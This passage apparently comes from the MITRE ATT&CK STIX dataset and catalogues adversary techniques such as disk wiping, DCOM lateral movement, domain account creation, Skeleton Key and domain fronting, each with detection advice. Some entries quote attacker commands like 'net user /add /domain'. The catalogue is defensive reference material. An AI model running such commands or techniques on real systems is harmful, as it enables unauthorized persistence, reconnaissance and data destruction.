            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-02-20T22:11:00.106Z",
            "created": "2019-03-19T19:38:27.097Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1561.002",
                    "url": "https://attack.mitre.org/techniques/T1561/002"
                },
                {
                    "source_name": "Symantec Shamoon 2012",
                    "url": "https://www.symantec.com/connect/blogs/shamoon-attacks",
                    "description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019."
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html",
                    "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.",
                    "source_name": "FireEye Shamoon Nov 2016"
                },
                {
                    "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/",
                    "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
                    "source_name": "Palo Alto Shamoon Nov 2016"
                },
                {
                    "source_name": "Kaspersky StoneDrill 2017",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf",
                    "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019."
                },
                {
                    "source_name": "Unit 42 Shamoon3 2018",
                    "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/",
                    "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019."
                },
                {
                    "url": "https://docs.microsoft.com/sysinternals/downloads/sysmon",
                    "description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.",
                    "source_name": "Microsoft Sysmon v6 May 2017"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Disk Structure Wipe",
            "description": "Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources. \n\nAdversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) if all sectors of a disk are wiped.\n\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)",
            "id": "attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "modified": "2020-03-28T23:00:00.367Z",
            "created": "2020-02-20T22:10:20.484Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User",
                "Administrator",
                "root",
                "SYSTEM"
            ],
            "x_mitre_impact_type": [
                "Availability"
            ],
            "x_mitre_detection": "Look for attempts to read/write to sensitive locations like the master boot record and the disk partition table. Monitor for direct access read/write attempts using the <code>\\\\\\\\.\\\\</code> notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Driver: Driver Load",
                "Drive: Drive Access",
                "Drive: Drive Modification"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1561",
                    "url": "https://attack.mitre.org/techniques/T1561"
                },
                {
                    "source_name": "Novetta Blockbuster Destructive Malware",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.",
                    "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"
                },
                {
                    "url": "https://docs.microsoft.com/sysinternals/downloads/sysmon",
                    "description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.",
                    "source_name": "Microsoft Sysmon v6 May 2017"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Disk Wipe",
            "description": "Adversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources. With direct write access to a disk, adversaries may attempt to overwrite portions of disk data. Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR). A complete wipe of all disk sectors may be attempted.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)",
            "id": "attack-pattern--1988cc35-ced8-4dad-b2d1-7628488fa967",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "modified": "2020-03-28T23:00:00.599Z",
            "created": "2020-02-20T22:02:20.372Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": false,
            "x_mitre_permissions_required": [
                "User",
                "root",
                "SYSTEM",
                "Administrator"
            ],
            "x_mitre_impact_type": [
                "Availability"
            ],
            "x_mitre_detection": "Look for attempts to read/write to sensitive locations like the partition boot sector, master boot record, disk partition table, or BIOS parameter block/superblock. Monitor for direct access read/write attempts using the <code>\\\\\\\\.\\\\</code> notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Driver: Driver Load",
                "Drive: Drive Access",
                "Drive: Drive Modification"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "created": "2020-02-11T18:26:36.444Z",
            "modified": "2020-03-23T20:21:03.684Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "type": "attack-pattern",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1021.003",
                    "url": "https://attack.mitre.org/techniques/T1021/003"
                },
                {
                    "source_name": "Fireeye Hunting COM June 2019",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html",
                    "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019."
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx",
                    "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.",
                    "source_name": "Microsoft COM"
                },
                {
                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx",
                    "description": "Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.",
                    "source_name": "Microsoft Process Wide Com Keys"
                },
                {
                    "url": "https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1",
                    "description": "Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.",
                    "source_name": "Microsoft COM ACL"
                },
                {
                    "url": "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/",
                    "description": "Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.",
                    "source_name": "Enigma Outlook DCOM Lateral Movement Nov 2017"
                },
                {
                    "url": "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/",
                    "description": "Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.",
                    "source_name": "Enigma MMC20 COM Jan 2017"
                },
                {
                    "url": "https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/",
                    "description": "Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round 2. Retrieved November 21, 2017.",
                    "source_name": "Enigma DCOM Lateral Movement Jan 2017"
                },
                {
                    "url": "https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/",
                    "description": "Nelson, M. (2017, September 11). Lateral Movement using Excel.Application and DCOM. Retrieved November 21, 2017.",
                    "source_name": "Enigma Excel DCOM Sept 2017"
                },
                {
                    "url": "https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom",
                    "description": "Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral movement via DCOM. Retrieved November 21, 2017.",
                    "source_name": "Cyberreason DCOM DDE Lateral Movement Nov 2017"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Distributed Component Object Model",
            "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user.\n\nThe Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM)\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL)\n\nThrough DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke Dynamic Data Exchange (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.",
            "id": "attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd",
            "x_mitre_data_sources": [
                "Module: Module Load",
                "Process: Process Creation",
                "Network Traffic: Network Connection Creation"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_detection": "Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017) Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.\n\nMonitor for any influxes or abnormal increases in Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "created": "2020-01-28T14:05:17.825Z",
            "modified": "2020-03-23T18:12:36.696Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--7610cada-1499-41a4-b3dd-46467b68d177",
            "description": "Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the <code>net user /add /domain</code> command can be used to create a domain account.\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.",
            "name": "Domain Account",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1136.002",
                    "url": "https://attack.mitre.org/techniques/T1136/002"
                },
                {
                    "source_name": "Microsoft User Creation Event",
                    "description": "Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.",
                    "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720"
                }
            ],
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux"
            ],
            "x_mitre_data_sources": [
                "User Account: User Account Creation",
                "Process: Process Creation",
                "Command: Command Execution"
            ],
            "x_mitre_detection": "Monitor for processes and command-line parameters associated with domain account creation, such as <code>net user /add /domain</code>. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain accounts to detect suspicious accounts that may have been created by an adversary.",
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1087.002",
                    "url": "https://attack.mitre.org/techniques/T1087/002"
                },
                {
                    "external_id": "CAPEC-575",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/575.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Domain Account",
            "description": "Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior.\n\nCommands such as <code>net user /domain</code> and <code>net group /domain</code> of the [Net](https://attack.mitre.org/software/S0039) utility, <code>dscacheutil -q group</code>on macOS, and <code>ldapsearch</code> on Linux can list domain users and groups.",
            "id": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "modified": "2020-03-26T13:42:34.402Z",
            "created": "2020-02-21T21:08:26.480Z",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1078.002",
                    "url": "https://attack.mitre.org/techniques/T1078/002"
                },
                {
                    "external_id": "CAPEC-560",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/560.html"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx",
                    "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.",
                    "source_name": "TechNet Credential Theft"
                },
                {
                    "source_name": "Microsoft AD Accounts",
                    "url": "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts",
                    "description": "Microsoft. (2019, August 23). Active Directory Accounts. Retrieved March 13, 2020."
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx",
                    "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.",
                    "source_name": "TechNet Audit Policy"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Domain Accounts",
            "description": "Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. (Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)\n\nAdversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.",
            "id": "attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "initial-access"
                }
            ],
            "modified": "2020-09-16T19:42:11.787Z",
            "created": "2020-03-13T20:21:54.758Z",
            "x_mitre_version": "1.1",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User",
                "Administrator"
            ],
            "x_mitre_detection": "Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nPerform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence.",
            "x_mitre_data_sources": [
                "User Account: User Account Authentication",
                "Logon Session: Logon Session Creation"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1556.001",
                    "url": "https://attack.mitre.org/techniques/T1556/001"
                },
                {
                    "source_name": "Dell Skeleton",
                    "description": "Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.",
                    "url": "https://www.secureworks.com/research/skeleton-key-malware-analysis"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx",
                    "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.",
                    "source_name": "TechNet Audit Policy"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Domain Controller Authentication",
            "description": "Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts. \n\nMalware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user\u2019s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton)",
            "id": "attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "modified": "2021-04-20T20:10:26.613Z",
            "created": "2020-02-11T19:05:02.399Z",
            "x_mitre_data_sources": [
                "Logon Session: Logon Session Creation",
                "Process: OS API Execution",
                "Process: Process Access",
                "File: File Modification"
            ],
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_detection": "Monitor for calls to <code>OpenProcess</code> that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton)\n\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g. a user has an active login session but has not entered the building or does not have VPN access). ",
            "x_mitre_version": "2.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "id": "attack-pattern--1ce03c65-5946-4ac9-9d4d-66db87e024bd",
            "name": "Domain Fronting",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1172",
                    "url": "https://attack.mitre.org/techniques/T1172"
                },
                {
                    "url": "http://www.icir.org/vern/papers/meek-PETS-2015.pdf",
                    "description": "David Fifield, Chang Lan, Rod Hynes, Percy Wegmann, and Vern Paxson. (2015). Blocking-resistant communication through domain fronting. Retrieved November 20, 2017.",
                    "source_name": "Fifield Blocking Resistent Communication through domain fronting 2015"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-03-14T23:29:54.083Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "created": "2020-03-14T23:29:19.581Z",
            "modified": "2020-09-16T19:30:54.226Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--ca9d3402-ada3-484d-876a-d717bd6e05f2",
            "description": "Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.",
            "name": "Domain Fronting",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1090.004",
                    "url": "https://attack.mitre.org/techniques/T1090/004"
                },
                {
                    "external_id": "CAPEC-481",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/481.html"
                },
                {
                    "url": "http://www.icir.org/vern/papers/meek-PETS-2015.pdf",
                    "description": "David Fifield, Chang Lan, Rod Hynes, Percy Wegmann, and Vern Paxson. (2015). Blocking-resistant communication through domain fronting. Retrieved November 20, 2017.",
                    "source_name": "Fifield Blocking Resistent Communication through domain fronting 2015"
                }
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_contributors": [
                "Matt Kelly, @breakersall"
            ],
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Content"
            ],
            "x_mitre_detection": "If SSL inspection is in place or the traffic is not encrypted, the Host field of the HTTP header can be checked if it matches the HTTPS SNI or against a blocklist or allowlist of domain names. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015)",
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.1"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1483",
                    "url": "https://attack.mitre.org/techniques/T1483"
                },
                {
                    "source_name": "Cybereason Dissecting DGAs",
                    "url": "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf",
                    "description": "Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019."
                },
                {
                    "source_name": "Cisco Umbrella DGA",
                    "url": "https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/",
                    "description": "Scarfo, A. (2016, October 10). Domain Generation Algorithms \u2013 Why so effective?. Retrieved February 18, 2019."
                },
                {
                    "source_name": "Unit 42 DGA Feb 2019",
                    "url": "https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/",
                    "description": "Unit 42. (2019, February 7). Threat Brief: Understanding Domain Generation Algorithms (DGA). Retrieved February 19, 2019."
                },
                {
                    "url": "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html",
                    "description": "Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.",
                    "source_name": "Talos CCleanup 2017"
                },
                {
                    "source_name": "Akamai DGA Mitigation",
                    "url": "https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html",
                    "description": "Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019."
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html",
                    "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.",
                    "source_name": "FireEye POSHSPY April 2017"
                },
                {
                    "source_name": "ESET Sednit 2017 Activity",
                    "url": "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/",
                    "description": "ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019."
                },
                {
                    "source_name": "Data Driven Security DGA",
                    "url": "https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/",
                    "description": "Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019."
                },
                {
                    "source_name": "Pace University Detecting DGA May 2017",
                    "url": "http://csis.pace.edu/~ctappert/srd2017/2017PDF/d4.pdf",
                    "description": "Chen, L., Wang, T.. (2017, May 5). Detecting Algorithmically Generated Domains Using Data Visualization and N-Grams Methods . Retrieved April 26, 2019."
                },
                {
                    "source_name": "Elastic Predicting DGA",
                    "url": "https://arxiv.org/pdf/1611.00791.pdf",
                    "description": "Ahuja, A., Anderson, H., Grant, D., Woodbridge, J.. (2016, November 2). Predicting Domain Generation Algorithms with Long Short-Term Memory Networks. Retrieved April 26, 2019."
                }
            ],
            "name": "Domain Generation Algorithms",
            "id": "attack-pattern--54456690-84de-4538-9101-643e26437e09",
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-11-10T18:28:56.957Z",
            "created": "2019-02-18T17:22:57.831Z"
        },
        {
            "created": "2020-03-10T17:44:59.787Z",
            "modified": "2020-11-10T18:28:57.002Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd",
            "description": "Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)\n\nDGAs can take the form of apparently random or \u201cgibberish\u201d strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)\n\nAdversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means 